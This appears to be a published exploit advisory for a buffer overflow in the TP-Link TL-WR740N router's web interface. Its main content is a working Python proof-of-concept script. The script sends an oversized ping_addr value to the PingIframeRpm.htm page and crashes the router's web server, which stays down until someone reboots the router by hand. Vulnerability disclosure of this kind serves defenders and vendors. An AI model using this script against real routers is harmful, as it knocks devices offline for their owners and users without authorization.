TP-Link TL-WR740N Buffer Overflow / Denial Of Service

Credit: Anish Feroz
Risk: High
Local: No
Remote: Yes
CWE: CWE-119

# Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS' # Date: 8/12/2023 # Exploit Author: Anish Feroz (ZEROXINN) # Vendor Homepage: # Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n # Tested on: TP-Link TL-WR740N #Description: #There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router. #Usage: #python3 target username password #change port, if required ------------------------------------------------POC----------------------------------------- #!/usr/bin/python import requests from requests.auth import HTTPBasicAuth import base64 def send_request(ip, username, password): auth_url = f"http://{ip}:8082" target_url = f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20" credentials = f"{username}:{password}" encoded_credentials = base64.b64encode(credentials.encode()).decode() headers = { "Host": f"{ip}:8082", "Authorization": f"Basic {encoded_credentials}", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": f"http://{ip}:8082/userRpm/DiagnosticRpm.htm", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close" } session = requests.Session() response = session.get(target_url, headers=headers) if response.status_code == 200: print("Server Crashed") print(response.text) else: print(f"Script Completed with status code {response.status_code}") ip_address = input("Enter IP address of the host: ") username = input("Enter username: ") password = input("Enter password: ") send_request(ip_address, username, password)

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